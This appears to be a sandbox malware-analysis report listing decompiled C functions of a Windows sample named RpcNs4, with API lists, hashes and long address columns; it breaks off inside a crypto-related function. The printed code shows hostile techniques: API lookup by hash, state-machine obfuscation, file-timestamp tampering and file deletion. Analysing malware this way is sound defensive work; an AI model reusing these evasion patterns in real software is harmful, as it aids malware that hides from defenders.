0x020b5022
0x020b5027
0x020b5027
0x020b5033
0x020b5035
0x020b5035
0x020b4fcc
0x020b4fcc
0x00000000
0x020b4fcc
0x020b4fcc
0x020b5002
0x020b4fee
0x020b4fe8
0x020b52f0
0x020b52f0
0x00000000
0x020b52f0
0x020b51ee
0x020b51f4
0x020b52cc
0x020b52d2
0x00000000
0x020b52d8
0x020b52d8
0x00000000
0x020b52d8
0x020b51fa
0x020b51fa
0x020b5270
0x020b5275
0x020b5277
0x020b528a
0x020b528f
0x020b528f
0x020b5296
0x020b5298
0x020b529d
0x020b529f
0x020b52b2
0x020b52b7
0x020b52b7
0x020b52c0
0x020b52c2
0x00000000
0x020b51fc
0x020b51fc
0x020b5202
0x020b522f
0x020b5231
0x020b5249
0x020b5249
0x020b5256
0x020b5258
0x020b525a
0x020b5268
0x020b4fcc
0x020b4fcc
0x00000000
0x020b4fcc
0x020b5204
0x020b5204
0x020b520a
0x00000000
0x020b520c
0x020b5211
0x020b5216
0x020b5218
0x020b521a
0x020b5220
0x020b4fcc
0x020b4fcc
0x00000000
0x020b4fcc
0x020b4fcc
0x020b521a
0x020b520a
0x020b5202
0x020b51fa
0x00000000
0x020b51f4

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00002000,?,?,020B89D1,?,3444DC2F,?,?), ref: 020B5090
OpenServiceW.ADVAPI32(?,?,00000001,00000000,?,?,?,?,?,020B89D1,?,3444DC2F,?,?), ref: 020B5256

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID: AllocateHeapOpenService
String ID:
API String ID: 4051131143-0
Opcode ID: ef019a803f9ae6a0832643f0682c27c3e4a1347e4aaf59436c163ed1ef803449
Instruction ID: ff1a8baa95c3d9563683f81cdb03d9f664b60a77f23e5c28b2c552219284d8b9
Opcode Fuzzy Hash: ef019a803f9ae6a0832643f0682c27c3e4a1347e4aaf59436c163ed1ef803449
Instruction Fuzzy Hash: EC711231F403158BDB77AFB4AC957EA76D6AF94344F5108B9E901EB280EA349D00AB81

Uniqueness

Uniqueness Score: -1.00%

Function 020B8060, Relevance: 3.2, APIs: 2, Instructions: 187
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E020B8060() {
				short _v524;
				struct _SECURITY_ATTRIBUTES* _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				char _v564;
				intOrPtr _v568;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				intOrPtr _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				void* __ebx;
				void* __ebp;
				void* _t58;
				void* _t64;
				void* _t66;
				intOrPtr _t68;
				intOrPtr* _t69;
				void* _t71;
				intOrPtr* _t76;
				void* _t78;
				intOrPtr* _t79;
				void* _t82;
				void* _t90;
				char _t95;
				intOrPtr _t105;
				intOrPtr* _t114;
				void* _t117;
				void* _t118;
				void* _t119;
				signed int* _t120;
				void* _t122;

				_t120 =  &_v596;
				_v588 = 0xec1c;
				_t58 = 0x37975d54;
				_v588 = _v588 >> 1;
				_v588 = _v588 ^ 0x0000770e;
				_v584 = 0x6801;
				_v584 = _v584 >> 4;
				_v584 = _v584 ^ 0x00000681;
				_v592 = 0x14c9;
				_v592 = _v592 << 7;
				_t90 = _v588;
				_v592 = _v592 * 0x49;
				_v592 = _v592 ^ 0x02f6a883;
				_v596 = 0xb2d6;
				_v596 = _v596 << 0x10;
				_v596 = _v596 + 0x78e;
				_t117 = 0;
				_v596 = _v596 ^ 0xb2d6078e;
				_t26 = _t117 + 1; // 0x1
				_t119 = _t26;
				goto L1;
				do {
					while(1) {
						L1:
						_t122 = _t58 - 0x972b871;
						if(_t122 > 0) {
							break;
						}
						if(_t122 == 0) {
							_v580 = 0xa8c00;
							_v576 = 0;
							_v596 = E020BB510(_v580, _v576, 0x989680, 0);
							_v592 = _t114;
							_v588 = _v588 - _v596;
							_t58 = 0x96d7801;
							asm("sbb [esp+0x2c], ecx");
							continue;
						} else {
							if(_t58 == 0x5b7e697) {
								_t76 =  *0x20bdd8c;
								if(_t76 == 0) {
									_t78 = E020B3E70(0xbb51e2dc);
									_t114 = 0xf40b8901;
									_t76 = E020B3DD0(_t90, _t78, 0xf40b8901, _t119);
									 *0x20bdd8c = _t76;
								}
								 *_t76( &_v572);
								_t58 = 0x972b871;
								continue;
							} else {
								if(_t58 == 0x7827784) {
									_t79 =  *0x20bde38;
									if(_t79 == 0) {
										_t79 = E020B3DD0(_t90, E020B3E70(0xbb51e2dc), 0x76fc23ac, _t119);
										 *0x20bde38 = _t79;
									}
									 *_t79(_t90);
									L29:
									return _t117;
								} else {
									if(_t58 != 0x96d7801) {
										goto L17;
									} else {
										_t82 = E020B3460(0x20bda10);
										_t114 =  *0x20bdf10;
										_t118 = _t82;
										if(_t114 == 0) {
											_t114 = E020B3DD0(_t90, E020B3E70(0xe60124ba), 0xec538b3a, _t119);
											 *0x20bdf10 = _t114;
										}
										_t105 =  *0x20be368;
										 *_t114( &_v524, 0x104, _t118, _t105 + 0x220, _t105 + 0x14);
										_t120 =  &(_t120[5]);
										E020B3400(_t118);
										_t58 = 0xabec09b;
										continue;
									}
								}
							}
						}
						L30:
					}
					if(_t58 == 0xabec09b) {
						if( *0x20bded8 == 0) {
							_t66 = E020B3E70(0xbb51e2dc);
							_t114 = 0xe04f22b3;
							 *0x20bded8 = E020B3DD0(_t90, _t66, 0xe04f22b3, _t119);
						}
						_t64 = CreateFileW( &_v524, _v588, _v584, 0, _v592, _v596, 0); // executed
						_t90 = _t64;
						if(_t90 == 0xffffffff) {
							goto L29;
						} else {
							_t58 = 0x2a665af9;
							goto L1;
						}
					} else {
						if(_t58 == 0x2a665af9) {
							_t68 = _v568;
							_t95 = _v572;
							_v560 = _t68;
							_v552 = _t68;
							_v544 = _t68;
							_v536 = _t68;
							_t69 =  *0x20bdf00;
							_v564 = _t95;
							_v556 = _t95;
							_v548 = _t95;
							_v540 = _t95;
							_v532 = 0;
							if(_t69 == 0) {
								_t71 = E020B3E70(0xbb51e2dc);
								_t114 = 0x1dd60e41;
								_t69 = E020B3DD0(_t90, _t71, 0x1dd60e41, _t119);
								 *0x20bdf00 = _t69;
							}
							 *_t69(_t90, 0,  &_v564, 0x28); // executed
							_t58 = 0x7827784;
							_t117 =  !=  ? _t119 : _t117;
							goto L1;
						} else {
							if(_t58 != 0x37975d54) {
								goto L17;
							} else {
								_t58 = 0x5b7e697;
								goto L1;
							}
						}
					}
					goto L30;
					L17:
				} while (_t58 != 0x12916693);
				return _t117;
				goto L30;
			}

0x020b8060
0x020b8066
0x020b806e
0x020b8073
0x020b8077
0x020b807f
0x020b8087
0x020b808c
0x020b8094
0x020b80a3
0x020b80ad
0x020b80b3
0x020b80b7
0x020b80bf
0x020b80c7
0x020b80cc
0x020b80d5
0x020b80d7
0x020b80df
0x020b80df
0x020b80df
0x020b80e2
0x020b80e2
0x020b80e2
0x020b80e2
0x020b80e7
0x00000000
0x00000000
0x020b80ed
0x020b81ad
0x020b81b5
0x020b81d1
0x020b81d5
0x020b81e1
0x020b81e5
0x020b81ea
0x00000000
0x020b80f3
0x020b80f8
0x020b8176
0x020b817d
0x020b8184
0x020b8189
0x020b8190
0x020b8195
0x020b8195
0x020b819f
0x020b81a1
0x00000000
0x020b80fa
0x020b80ff
0x020b82f5
0x020b82fc
0x020b830f
0x020b8314
0x020b8314
0x020b831a
0x020b831c
0x020b8328
0x020b8105
0x020b810a
0x00000000
0x020b8110
0x020b8115
0x020b811a
0x020b8120
0x020b8124
0x020b813c
0x020b813e
0x020b813e
0x020b8144
0x020b8160
0x020b8162
0x020b8167
0x020b816c
0x00000000
0x020b816c
0x020b810a
0x020b80ff
0x020b80f8
0x00000000
0x020b80ed
0x020b81f8
0x020b82a5
0x020b82ac
0x020b82b1
0x020b82bf
0x020b82bf
0x020b82e2
0x020b82e4
0x020b82e9
0x00000000
0x020b82eb
0x020b82eb
0x00000000
0x020b82eb
0x020b81fe
0x020b8203
0x020b822e
0x020b8232
0x020b8236
0x020b823a
0x020b823e
0x020b8242
0x020b8246
0x020b824b
0x020b824f
0x020b8253
0x020b8257
0x020b825b
0x020b8265
0x020b826c
0x020b8271
0x020b8278
0x020b827d
0x020b827d
0x020b828c
0x020b8290
0x020b8295
0x00000000
0x020b8205
0x020b820a
0x00000000
0x020b820c
0x020b820c
0x00000000
0x020b820c
0x020b820a
0x020b8203
0x00000000
0x020b8216
0x020b8216
0x020b822d
0x00000000

APIs

SetFileInformationByHandle.KERNELBASE(?,00000000,?,00000028), ref: 020B828C
CreateFileW.KERNELBASE(?,?,?,00000000,?,B2D6078E,00000000,?,3444DC2F,?,?), ref: 020B82E2

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID: File$CreateHandleInformation
String ID:
API String ID: 3667790775-0
Opcode ID: bcdac505a12a90ebf0a2b67232ffdcb26f5614628ed32f12c15d284c166f8457
Instruction ID: b3f415d2c506a517889080096377524c5ee0bfafa57c3ccc1cf704d40eacb853
Opcode Fuzzy Hash: bcdac505a12a90ebf0a2b67232ffdcb26f5614628ed32f12c15d284c166f8457
Instruction Fuzzy Hash: CA617971A083009BD36ADF68C4846AFB7E9BFC8358F10896DF159D7250DB79D8449B42

Uniqueness

Uniqueness Score: -1.00%

Function 020B5C10, Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t5;
				void* _t9;

				E020B64F0();
				if( *0x20bdd14 == 0) {
					 *0x20bdd14 = E020B3DD0(_t5, E020B3E70(0xbb51e2dc), 0xdfd1813d, _t9);
				}
				ExitProcess(0);
			}

0x020b5c10
0x020b5c1c
0x020b5c34
0x020b5c34
0x020b5c3b

APIs

ExitProcess.KERNEL32(00000000), ref: 020B5C3B

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 6309d43a2e6efbf7b216b5eb72e0c6190bab05258117e9322509467461a8bb38
Instruction ID: cb1e30e31fe99da4cf7f4c9bd5d65f6dc0c26a90cf1ff01f3b50eb6fe0c8458a
Opcode Fuzzy Hash: 6309d43a2e6efbf7b216b5eb72e0c6190bab05258117e9322509467461a8bb38
Instruction Fuzzy Hash: BAD012217413094BF777AFB0A8107EA218BAFC1781F608865A455DB285DF748C116F62

Uniqueness

Uniqueness Score: -1.00%

Function 020B8330, Relevance: 1.7, APIs: 1, Instructions: 160
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E020B8330(void* __ebx, void* __ebp) {
				short _v524;
				char _v564;
				char _v572;
				signed int _v576;
				struct _SECURITY_ATTRIBUTES* _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				intOrPtr _v600;
				intOrPtr _v604;
				intOrPtr* _t49;
				intOrPtr* _t51;
				intOrPtr* _t54;
				void* _t62;
				intOrPtr* _t67;
				void* _t69;
				void* _t71;
				void* _t72;
				void* _t73;
				void* _t74;
				void* _t75;
				intOrPtr _t93;
				void* _t95;
				void* _t96;
				signed int _t97;
				intOrPtr _t99;
				void* _t100;
				void* _t103;

				_t100 = __ebp;
				_t75 = __ebx;
				_v588 = 0xe3c6;
				_t97 = 0x15db38c2;
				_v588 = _v588 * 0x2c;
				_v588 = _v588 ^ 0x00272688;
				_v576 = 0x6801;
				_v576 = _v576 >> 4;
				_v576 = _v576 ^ 0x00000681;
				_t96 = _v588;
				_v592 = 0x14c9;
				_v592 = _v592 << 7;
				_v592 = _v592 * 0x49;
				_v592 = _v592 ^ 0x02f6a883;
				_v596 = 0xb2d6;
				_v596 = _v596 << 0x10;
				_v596 = _v596 + 0x78e;
				_v596 = _v596 ^ 0xb2d6078e;
				goto L1;
				do {
					while(1) {
						L1:
						_t103 = _t97 - 0x1de4fdf5;
						if(_t103 > 0) {
							break;
						}
						if(_t103 == 0) {
							_t51 =  *0x20be348;
							__eflags = _t51;
							if(_t51 == 0) {
								_t73 = E020B3E70(0xbb51e2dc);
								_t93 = 0xdd2e2440;
								_t51 = E020B3DD0(_t75, _t73, 0xdd2e2440, _t100);
								 *0x20be348 = _t51;
							}
							 *_t51(_t96, 0,  &_v564, 0x28);
							asm("sbb esi, esi");
							_t54 =  *0x20bde38;
							_t97 = (_t97 & 0xdb3de512) + 0x39234310;
							__eflags = _t54;
							if(_t54 == 0) {
								_t72 = E020B3E70(0xbb51e2dc);
								_t93 = 0x76fc23ac;
								_t54 = E020B3DD0(_t75, _t72, 0x76fc23ac, _t100);
								 *0x20bde38 = _t54;
							}
							 *_t54(_t96);
							goto L15;
						} else {
							if(_t97 == 0xb7daed6) {
								_v588 = 0xa8c00;
								_v584 = 0;
								_v604 = E020BB510(_v588, _v584, 0x989680, 0);
								_v600 = _t93;
								_t95 = _v588 - _v564;
								_t99 = _v604;
								asm("sbb ecx, [esp+0x3c]");
								__eflags = _v584 - _v600;
								if(__eflags < 0) {
									goto L16;
								} else {
									if(__eflags > 0) {
										L29:
										return 1;
									} else {
										__eflags = _t95 - _t99;
										if(_t95 < _t99) {
											goto L16;
										} else {
											goto L29;
										}
									}
								}
							} else {
								if(_t97 == 0x14612822) {
									_t67 =  *0x20bdd8c;
									__eflags = _t67;
									if(_t67 == 0) {
										_t71 = E020B3E70(0xbb51e2dc);
										_t93 = 0xf40b8901;
										_t67 = E020B3DD0(_t75, _t71, 0xf40b8901, _t100);
										 *0x20bdd8c = _t67;
									}
									 *_t67( &_v572);
									_t97 = 0xb7daed6;
									continue;
								} else {
									if(_t97 != 0x15db38c2) {
										goto L15;
									} else {
										_t97 = 0x27a0a68a;
										continue;
									}
								}
							}
						}
						L30:
					}
					__eflags = _t97 - 0x27a0a68a;
					if(_t97 == 0x27a0a68a) {
						_t49 =  *0x20be028;
						__eflags = _t49;
						if(_t49 == 0) {
							_t74 = E020B3E70(0xbb51e2dc);
							_t93 = 0x2bebef82;
							_t49 = E020B3DD0(_t75, _t74, 0x2bebef82, _t100);
							 *0x20be028 = _t49;
						}
						 *_t49(0,  &_v524, 0x104);
						_t97 = 0x3b13cdbe;
						goto L1;
					} else {
						__eflags = _t97 - 0x3b13cdbe;
						if(_t97 != 0x3b13cdbe) {
							goto L15;
						} else {
							__eflags =  *0x20bded8;
							if( *0x20bded8 == 0) {
								_t69 = E020B3E70(0xbb51e2dc);
								_t93 = 0xe04f22b3;
								 *0x20bded8 = E020B3DD0(_t75, _t69, 0xe04f22b3, _t100);
							}
							_t62 = CreateFileW( &_v524, _v588, _v576, 0, _v592, _v596, 0); // executed
							_t96 = _t62;
							__eflags = _t96 - 0xffffffff;
							if(_t96 == 0xffffffff) {
								break;
							} else {
								_t97 = 0x1de4fdf5;
								goto L1;
							}
						}
					}
					goto L30;
					L15:
					__eflags = _t97 - 0x39234310;
				} while (_t97 != 0x39234310);
				L16:
				__eflags = 0;
				return 0;
				goto L30;
			}

0x020b8330
0x020b8330
0x020b8336
0x020b8345
0x020b834a
0x020b834e
0x020b8356
0x020b835e
0x020b8363
0x020b836b
0x020b836f
0x020b837e
0x020b8387
0x020b838b
0x020b8393
0x020b839b
0x020b83a0
0x020b83a8
0x020b83a8
0x020b83b0
0x020b83b0
0x020b83b0
0x020b83b0
0x020b83b6
0x00000000
0x00000000
0x020b83bc
0x020b8417
0x020b841c
0x020b841e
0x020b8425
0x020b842a
0x020b8431
0x020b8436
0x020b8436
0x020b8445
0x020b8449
0x020b844b
0x020b8456
0x020b845c
0x020b845e
0x020b8465
0x020b846a
0x020b8471
0x020b8476
0x020b8476
0x020b847c
0x00000000
0x020b83be
0x020b83c4
0x020b853b
0x020b8543
0x020b8563
0x020b8567
0x020b856f
0x020b8573
0x020b8577
0x020b857f
0x020b8581
0x00000000
0x020b8587
0x020b8587
0x020b8592
0x020b859e
0x020b8589
0x020b8589
0x020b858b
0x00000000
0x00000000
0x00000000
0x00000000
0x020b858b
0x020b8587
0x020b83ca
0x020b83d0
0x020b83e5
0x020b83ea
0x020b83ec
0x020b83f3
0x020b83f8
0x020b83ff
0x020b8404
0x020b8404
0x020b840e
0x020b8410
0x00000000
0x020b83d2
0x020b83d8
0x00000000
0x020b83de
0x020b83de
0x00000000
0x020b83de
0x020b83d8
0x020b83d0
0x020b83c4
0x00000000
0x020b83bc
0x020b8495
0x020b849b
0x020b84fd
0x020b8502
0x020b8504
0x020b850b
0x020b8510
0x020b8517
0x020b851c
0x020b851c
0x020b852d
0x020b852f
0x00000000
0x020b849d
0x020b849d
0x020b84a3
0x00000000
0x020b84a5
0x020b84ab
0x020b84ad
0x020b84b4
0x020b84b9
0x020b84c7
0x020b84c7
0x020b84ea
0x020b84ec
0x020b84ee
0x020b84f1
0x00000000
0x020b84f3
0x020b84f3
0x00000000
0x020b84f3
0x020b84f1
0x020b84a3
0x00000000
0x020b847e
0x020b847e
0x020b847e
0x020b848a
0x020b848a
0x020b8494
0x00000000

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,B2D6078E,00000000,?,?,?,?,3444DC2F), ref: 020B84EA

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b251ebcccdd6cec0b8598ba68f10100e0da0f55960df41582e37052c594520d4
Instruction ID: bf3f896ba517d13da910df30b07802a5d0d23e0218774ad09f236f89f977f894
Opcode Fuzzy Hash: b251ebcccdd6cec0b8598ba68f10100e0da0f55960df41582e37052c594520d4
Instruction Fuzzy Hash: DE51BE71A043019BD72ADF68D4846AFB7E6AF84744F10891DF4A59B2A0DB74DC449F82

Uniqueness

Uniqueness Score: -1.00%

Function 020B3650, Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E020B3650(void* __ecx, void* __edi, void* __esi, void* __eflags) {
				char _v520;
				intOrPtr* _t3;
				intOrPtr* _t5;
				intOrPtr* _t7;
				int _t10;
				void* _t16;
				void* _t34;
				void* _t35;
				void* _t38;
				void* _t40;
				void* _t41;
				WCHAR* _t42;

				_t41 =  &_v520;
				_t34 = __ecx;
				_t38 = E020B3460(0x20bd2b0);
				_t3 =  *0x20bdf10;
				if(_t3 == 0) {
					_t3 = E020B3DD0(_t16, E020B3E70(0xe60124ba), 0xec538b3a, _t40);
					 *0x20bdf10 = _t3;
				}
				 *_t3( &_v520, 0x104, _t38, _t34);
				_t5 =  *0x20bddc8;
				_t42 = _t41 + 0x10;
				if(_t5 == 0) {
					_t5 = E020B3DD0(_t16, E020B3E70(0xbb51e2dc), 0x298e8809, _t40);
					 *0x20bddc8 = _t5;
				}
				_t35 =  *_t5();
				_t7 =  *0x20bdbec;
				if(_t7 == 0) {
					_t7 = E020B3DD0(_t16, E020B3E70(0xbb51e2dc), 0x632f374, _t40);
					 *0x20bdbec = _t7;
				}
				 *_t7(_t35, 0, _t38);
				if( *0x20be230 == 0) {
					 *0x20be230 = E020B3DD0(_t16, E020B3E70(0xbb51e2dc), 0x289b49dc, _t40);
				}
				_t10 = DeleteFileW(_t42); // executed
				return _t10;
			}

0x020b3650
0x020b3658
0x020b3664
0x020b3666
0x020b366d
0x020b3680
0x020b3685
0x020b3685
0x020b3696
0x020b3698
0x020b369d
0x020b36a2
0x020b36b5
0x020b36ba
0x020b36ba
0x020b36c1
0x020b36c3
0x020b36ca
0x020b36dd
0x020b36e2
0x020b36e2
0x020b36eb
0x020b36f6
0x020b370e
0x020b370e
0x020b3717
0x020b371f

APIs

DeleteFileW.KERNELBASE ref: 020B3717

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: ae71cc1fd94bd3735656779a624bfb4aa8073baff8e1e5090b92e6e26e3d8a78
Instruction ID: 026a0001c519119403afb26ef8824fc70617d4ca37d04855a227cceed6e687c6
Opcode Fuzzy Hash: ae71cc1fd94bd3735656779a624bfb4aa8073baff8e1e5090b92e6e26e3d8a78
Instruction Fuzzy Hash: 2A118F24B443008BE77BBBB49851AEB32D7AFC5340F204869E425CB380EE78DD119B91

Uniqueness

Uniqueness Score: -1.00%

Function 020B7010, Relevance: 1.5, APIs: 1, Instructions: 45
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E020B7010(signed int __edx) {
				struct HINSTANCE__* _t6;
				intOrPtr* _t7;
				intOrPtr* _t9;
				void* _t15;
				void* _t16;
				signed int _t28;
				void* _t29;
				WCHAR* _t30;
				void* _t31;

				_t28 = __edx;
				_t30 = E020B3460(_t16);
				if( *0x20bdd48 == 0) {
					 *0x20bdd48 = E020B3DD0(_t15, E020B3E70(0xbb51e2dc), 0xb290dbae, _t31);
				}
				_t6 = LoadLibraryW(_t30); // executed
				 *( *0x20be364 + 0x10 + _t28 * 4) = _t6;
				_t7 =  *0x20bddc8;
				if(_t7 == 0) {
					_t7 = E020B3DD0(_t15, E020B3E70(0xbb51e2dc), 0x298e8809, _t31);
					 *0x20bddc8 = _t7;
				}
				_t29 =  *_t7();
				_t9 =  *0x20bdbec;
				if(_t9 == 0) {
					_t9 = E020B3DD0(_t15, E020B3E70(0xbb51e2dc), 0x632f374, _t31);
					 *0x20bdbec = _t9;
				}
				return  *_t9(_t29, 0, _t30);
			}

0x020b7012
0x020b7019
0x020b7022
0x020b703a
0x020b703a
0x020b7040
0x020b7048
0x020b704c
0x020b7053
0x020b7066
0x020b706b
0x020b706b
0x020b7072
0x020b7074
0x020b707b
0x020b708e
0x020b7093
0x020b7093
0x020b70a0

APIs

LoadLibraryW.KERNELBASE(00000000,?,3444DC2F,020B723F,?,3444DC2F,020B6587), ref: 020B7040

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 65dabab8adb2d7f2c706aa138f0117d0761c033399c7d9a27a17dcd8039269df
Instruction ID: 803585488e9994ea696e74f6fdc56fe177a414adf7e8eb6db98e997ac672b841
Opcode Fuzzy Hash: 65dabab8adb2d7f2c706aa138f0117d0761c033399c7d9a27a17dcd8039269df
Instruction Fuzzy Hash: F8014F34B543048BA77BAB75A850AEA66D7BFC6680B24086AE015CB390EA349C419F91

Uniqueness

Uniqueness Score: -1.00%

Function 020B4220, Relevance: 1.5, APIs: 1, Instructions: 30
memoryCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E020B4220(void* __ebx, long __ecx) {
				intOrPtr* _t1;
				void* _t4;
				void* _t16;
				long _t17;
				void* _t18;

				_t8 = __ebx;
				_t1 =  *0x20bddc8;
				_t17 = __ecx;
				if(_t1 == 0) {
					_t1 = E020B3DD0(__ebx, E020B3E70(0xbb51e2dc), 0x298e8809, _t18);
					 *0x20bddc8 = _t1;
				}
				_t16 =  *_t1();
				if( *0x20bdcf0 == 0) {
					 *0x20bdcf0 = E020B3DD0(_t8, E020B3E70(0xbb51e2dc), 0xc9d236a5, _t18);
				}
				_t4 = RtlAllocateHeap(_t16, 8, _t17); // executed
				return _t4;
			}

0x020b4220
0x020b4220
0x020b4226
0x020b422b
0x020b423e
0x020b4243
0x020b4243
0x020b424a
0x020b4253
0x020b426b
0x020b426b
0x020b4274
0x020b4278

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,?,?,?,?,?,?,?,?,?,?,?,020B68F1), ref: 020B4274

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a633ac69491b30c6140a0984645aedaceee39b9762fed843844a9353168907bb
Instruction ID: c712fa4312cf47aa57396efa2b6211a9e785a9737592b719b293df72e3e87082
Opcode Fuzzy Hash: a633ac69491b30c6140a0984645aedaceee39b9762fed843844a9353168907bb
Instruction Fuzzy Hash: 47E06525B503015BBB7BABB46820AEB21DBBFC6680B100479F510D7344EE749C056B90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 020B64F0, Relevance: 9.4, APIs: 1, Strings: 4, Instructions: 665
COMMONCrypto

Download Yara Rule

C-Code - Quality: 79%

			E020B64F0() {
				intOrPtr _v8;
				char _v16;
				char _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v48;
				char _v76;
				signed int _v80;
				char _v88;
				char _v96;
				signed int _v104;
				char _v108;
				char _v112;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				void* __ebx;
				void* __ebp;
				signed int _t268;
				signed int _t270;
				signed int _t272;
				signed int _t274;
				signed int _t277;
				signed int _t282;
				signed int _t284;
				signed int _t285;
				signed int _t289;
				void* _t297;
				signed int _t313;
				void* _t314;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				signed int _t322;
				void* _t324;
				signed int _t329;
				char* _t330;
				intOrPtr* _t331;
				signed int _t338;
				void* _t345;
				void* _t346;
				intOrPtr* _t347;
				void* _t348;
				intOrPtr* _t351;
				signed int _t352;
				void* _t353;
				void* _t363;
				void* _t364;
				signed int _t366;
				intOrPtr* _t367;
				void* _t368;
				intOrPtr* _t369;
				signed int _t370;
				void* _t371;
				void* _t372;
				signed int _t385;
				signed int _t390;
				signed int _t406;
				signed int _t410;
				intOrPtr _t428;
				signed int _t448;
				signed int _t469;
				signed int _t476;
				void* _t478;
				signed int _t483;
				signed int _t487;
				signed int _t489;
				signed int _t494;
				signed int _t498;
				signed int _t503;
				void* _t505;
				void* _t507;
				void* _t508;
				void* _t509;
				void* _t510;

				_t505 = (_t503 & 0xfffffff8) - 0x80;
				_t390 = _v124;
				_t266 = 0x2b1fe9b9;
				_t498 = _v120;
				while(1) {
					L1:
					_t469 = _v124;
					while(1) {
						L2:
						_t478 = 0x3444dc2f;
						do {
							while(1) {
								L3:
								_t507 = _t266 - 0x1ab1f9aa;
								if(_t507 > 0) {
									break;
								}
								if(_t507 == 0) {
									_v132 = 0xb789;
									_v132 = 0x4ec4ec4f * _v132 >> 0x20 >> 5;
									_v132 = _v132 >> 0xc;
									_v132 = _v132 | 0xe71d92d3;
									_v132 = _v132 * 0x16;
									_v132 = _v132 ^ 0x841b81aa;
									_v132 = _v132 << 4;
									_v132 = _v132 + 0xffff0f4d;
									_v132 = _v132 ^ 0x89110425;
									_v28 = _v132;
									_t266 = 0x3afae495;
									continue;
								} else {
									_t508 = _t266 - 0xb7085db;
									if(_t508 > 0) {
										__eflags = _t266 - 0xe7f2b49;
										if(__eflags > 0) {
											__eflags = _t266 - 0x144f93da;
											if(__eflags > 0) {
												__eflags = _t266 - 0x18fae292;
												if(_t266 != 0x18fae292) {
													goto L52;
												} else {
													_t448 =  &_v104;
													_t338 = E020B73B0( &_v48, _t448);
													asm("sbb eax, eax");
													_t266 = ( ~_t338 & 0x22044530) + 0xd495408;
													continue;
												}
											} else {
												if(__eflags == 0) {
													_v8 =  *((intOrPtr*)( *0x20be368 + 0x42c));
													_t266 = 0x2815f50d;
													continue;
												} else {
													__eflags = _t266 - 0x10711f6a;
													if(_t266 == 0x10711f6a) {
														E020B94C0();
														_t266 = 0xe6e52c9;
														continue;
													} else {
